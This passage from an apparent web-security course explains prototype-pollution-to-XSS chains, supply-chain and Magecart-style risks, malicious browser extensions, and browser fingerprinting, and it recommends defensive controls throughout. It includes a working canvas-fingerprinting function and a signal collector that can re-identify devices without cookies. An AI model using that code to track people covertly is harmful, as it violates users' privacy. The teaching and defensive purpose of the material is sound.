- Because the dangerous DOM write is done by trusted first-party/library code, it can evade input filters and some CSP setups.
- Defend both ends: eliminate pollution sources and reduce gadgets (updated libraries, Trusted Types to block raw strings at sinks).
🧪 Practice
- Describe the two stages that turn a prototype-pollution bug into XSS and give an example of each.
- Explain what a "script gadget" is in this context and why it evades input filtering.
- Explain how Trusted Types can break the chain even if pollution succeeds.
- Interview-style: "Why can prototype pollution be critical even when, by itself, it 'only sets an unused property'?" Hint: 'unused' assumes no code reads it — think about library defaults that read exactly that property.
Third-Party Script and Supply Chain Risk
Theory
A typical web page runs far more code than the site's own developers wrote: analytics, ads, tag managers, A/B testing, chat widgets, payment SDKs, and dozens of npm dependencies bundled at build time. Every one of these executes with the full privileges of the page's origin — the same access to the DOM, cookies (non-HttpOnly), and user input that first-party code has. This makes the supply chain a first-class attack surface: if any third party is compromised, or any dependency is backdoored, the attacker's code runs on your users' browsers under your origin, and the user sees only your trusted domain.
There are two broad flavors. Runtime third-party scripts are loaded live from a vendor's server (the <script src="https://vendor.example/widget.js"> pattern); if that vendor is breached or turns malicious, they can push code to all your users instantly — this is the mechanism behind many Magecart-style payment-skimming attacks, where a compromised analytics or chat script quietly reads credit-card fields. Build-time dependencies (npm/yarn packages) are baked into your bundle; the risk is a malicious or hijacked package (typosquatting, a maintainer account takeover, a compromised post-install script) injecting code during npm install, which then ships to production. Both routes end the same way: attacker code with your origin's authority.
Defenses layer prevention and containment. Minimize and vet third parties (each one is standing trust you extend). Pin and verify: use Subresource Integrity for runtime scripts so a changed file is rejected, and lockfiles plus dependency scanning/SCA (and provenance checks) for build-time packages. Isolate where possible: load risky widgets in a sandboxed iframe of a different origin so a compromise cannot touch your main page, and use CSP to restrict which script sources can load and where data can be exfiltrated (connect-src). For payment pages specifically, strong isolation and SRI/CSP are considered baseline. The governing principle: treat every third party as code you are choosing to run as yourself, and constrain it accordingly.
Examples
Supply-chain attack routes, same outcome (code runs as YOUR origin):
Runtime script: you include vendor.js --> vendor is breached --> malicious vendor.js
pushed to all users (Magecart skimmer reads the card field)
Build dependency: you `npm i leftpad-ish` --> maintainer hijacked --> postinstall/payload
bundled into your app --> ships to production
<!-- Containment for runtime scripts: SRI pins content; CSP limits sources + exfiltration. -->
<script src="https://vendor.example/widget.js"
integrity="sha384-...pinnedHash..." crossorigin="anonymous"></script>
<!-- CSP: script-src 'self' https://vendor.example; connect-src 'self' (limit exfil) -->
# Build-time hygiene: deterministic installs + known-vuln scanning.
npm ci # install exactly the locked versions (reproducible)
npm audit --audit-level=high
# plus an SCA tool / provenance checks in CI to catch malicious or hijacked packages.
Key Takeaways
- Third-party and dependency code runs with your origin's full privileges, making the supply chain a primary attack surface.
- Runtime scripts risk live vendor compromise (Magecart skimmers); build-time packages risk malicious/hijacked dependencies.
- A compromise of either results in attacker code executing under your trusted domain on users' browsers.
- Defend by minimizing/vetting third parties, pinning with SRI and lockfiles, scanning dependencies, isolating risky widgets, and constraining with CSP.
🧪 Practice
- Explain why a third-party analytics script has the same power over your page as your own code.
- Describe a Magecart-style attack and which two controls (one integrity, one policy) best contain it.
- List two build-time supply-chain risks and the hygiene steps that reduce each.
- Interview-style: "How would you protect a checkout page's card fields from a compromised third-party script?" Hint: combine strong origin isolation for the field with SRI and a tight
connect-srcto stop exfiltration.
Browser Extension Threats
Theory
Browser extensions are small programs the user installs that can be extraordinarily powerful: depending on their granted permissions, they may read and modify the content of every page (<all_urls>), access cookies and browsing history, intercept and alter network requests, and read form inputs. This power exists to enable legitimate tools (password managers, ad blockers, dev tools), but it also means a malicious or compromised extension sits inside the browser's trust boundary, often with more reach than any single website could ever have. Users tend to grant these permissions with far less scrutiny than they would give to installing a desktop application.
The threats come in several forms. Outright malicious extensions masquerade as useful tools while skimming credentials, injecting ads, hijacking search, or exfiltrating page data. Compromised or sold extensions are a notable supply-chain risk: a popular, once-benign extension is bought or its developer account is hijacked, and a silent auto-update pushes malicious code to its entire installed base — users who vetted it at install time never re-evaluate. Over-permissioned legitimate extensions are a passive risk too, since a bug in a widely trusted extension exposes everything it can touch. Because extensions can inject content scripts into pages, they can also defeat page-level defenses: a session cookie's HttpOnly or a site's CSP does not stop an extension that the user installed from reading the DOM or scripting the page.
Mitigations operate at different levels. For users: install few extensions, prefer reputable publishers, review requested permissions, and remove unused ones. For site operators, the hard truth is that you cannot fully defend against the user's own extensions — but you can reduce exposure of secrets in the DOM, avoid putting sensitive tokens where page script (and thus content scripts) can read them, and in high-security contexts detect gross tampering. For enterprises, extension allowlisting via managed browser policies is the primary control. The conceptual point for this chapter: the browser's security model assumes the extensions the user installed are trusted, so an extension threat is a trust-boundary problem that page-level controls cannot by themselves solve.
Examples
// A manifest requesting broad, high-risk permissions — read/modify ALL pages + cookies.
{
"manifest_version": 3,
"name": "Handy Helper",
"permissions": ["cookies", "webRequest", "scripting"],
"host_permissions": ["<all_urls>"] // can inject into and read EVERY site
}
The "sold/compromised extension" supply-chain pattern:
v1.0 benign, gets popular, users grant <all_urls>
v1.3 developer account sold/hijacked
v1.4 silent auto-update ships a skimmer to the entire install base
(users who vetted v1.0 never re-check)
Key Takeaways
- Extensions can read/modify all pages, cookies, history, and network traffic, placing them inside the browser's trust boundary with wide reach.
- Threats include outright malicious extensions, sold/compromised extensions pushed via silent auto-update, and over-permissioned legitimate ones.
- Because content scripts run in the page, extensions can bypass page-level defenses like
HttpOnlyand CSP. - Users mitigate by installing few, reputable, least-permissioned extensions; enterprises use managed allowlisting; site operators can only limit secret exposure in the DOM.
🧪 Practice
- Explain why a session cookie's
HttpOnlyflag does not protect against a malicious browser extension.- Describe the "sold extension" supply-chain pattern and why it evades the user's original vetting.
- List the permission fields in a manifest that signal high risk and why.
- Interview-style: "Can a website fully protect its users from their own malicious extensions? Why or why not?" Hint: consider where content scripts run relative to the page's own trust boundary.
Fingerprinting and Tracking Techniques
Theory
Browser fingerprinting identifies and tracks a user without cookies by combining many small, individually-unremarkable signals the browser exposes into a profile distinctive enough to re-recognize the same device across visits and even across sites. The insight is statistical: your user-agent string, language, timezone, screen resolution, installed fonts, and hardware details are each shared with many people, but their combination is often unique or near-unique. Because nothing is stored on the device, users cannot "clear" a fingerprint the way they delete cookies, which makes it a durable, stealthy tracking mechanism and a privacy concern distinct from the cookie-based tracking users can control.
Techniques range from passive to active. Passive signals come for free with any request or basic JS: HTTP headers, navigator properties, screen metrics. Active techniques probe the browser to extract higher-entropy signals: canvas fingerprinting renders text/graphics to an invisible <canvas> and hashes the pixels, exploiting tiny rendering differences across GPU/driver/OS; WebGL fingerprinting does the same with 3D rendering; AudioContext fingerprinting measures subtle differences in audio processing; font and API enumeration detect what is installed or supported. Advanced tracking also uses supercookies and cache/ETag tricks to re-identify users, and cross-site tracking historically relied on third-party cookies (now increasingly blocked), pushing trackers toward fingerprinting as a replacement.
From a security-and-privacy standpoint there is tension: some fingerprinting is defensive (fraud detection, bot and account-takeover prevention bind a session to a device signature), while much is for surveillance-style ad tracking. Defenses and countermeasures include browsers that reduce entropy (freeze/standardize the user-agent, restrict high-entropy APIs, add noise to canvas/audio readouts), privacy modes, and anti-fingerprinting extensions — plus, at the platform level, the deprecation of third-party cookies and new privacy-preserving APIs. For a defender building a site, the practical guidance is to use device signals proportionately and transparently, minimize unnecessary data collection, and respect that fingerprinting resistance is now a first-class browser feature rather than a fringe concern.
Examples
// Canvas fingerprinting: render the same text everywhere; hash of pixels varies by device.
function canvasFingerprint() {
const c = document.createElement('canvas');
const ctx = c.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '16px Arial';
ctx.fillText('Fingerprint 1234!', 2, 2); // tiny GPU/driver/OS rendering diffs...
return c.toDataURL(); // ...produce a device-distinctive string
}
// Passive signals combined into an identifier (entropy adds up):
const signals = [navigator.userAgent, navigator.language,
Intl.DateTimeFormat().resolvedOptions().timeZone, // timezone
screen.width + 'x' + screen.height, // resolution
navigator.hardwareConcurrency]; // CPU cores
// Hashing this tuple yields a stable-ish ID with NO cookie stored on the device.
| Technique | Signal source | Why it is hard to clear |
|---|---|---|
| Canvas/WebGL | GPU/driver rendering diffs | Nothing stored; inherent to device |
| Audio | Audio-stack processing diffs | Nothing stored |
Header/navigator | UA, language, timezone | Passive; always sent |
| Font/API enumeration | Installed fonts/features | Reflects the real system |
Key Takeaways
- Fingerprinting re-identifies a device by combining many low-entropy signals into a unique profile, with nothing stored to delete.
- Passive signals (headers,
navigator, screen) are free; active techniques (canvas, WebGL, audio) probe for high-entropy differences. - As third-party cookies are deprecated, trackers increasingly rely on fingerprinting, which users cannot clear like cookies.
- It is dual-use (fraud/bot defense vs. surveillance); browsers now fight it by reducing entropy and adding noise, so collect device signals proportionately and transparently.
🧪 Practice
- Explain why combining several low-entropy attributes can uniquely identify a device.
- Describe how canvas fingerprinting extracts a device-specific value and why it needs no stored state.
- Contrast fingerprinting with cookie tracking from the user's ability to opt out or reset.
- Interview-style: "Why is fingerprinting harder for users to defeat than cookie tracking?" Hint: ask what is actually stored on the device in each case and what 'clearing' would even mean for a fingerprint.
<a id="10-secure-development-lifecycle"></a>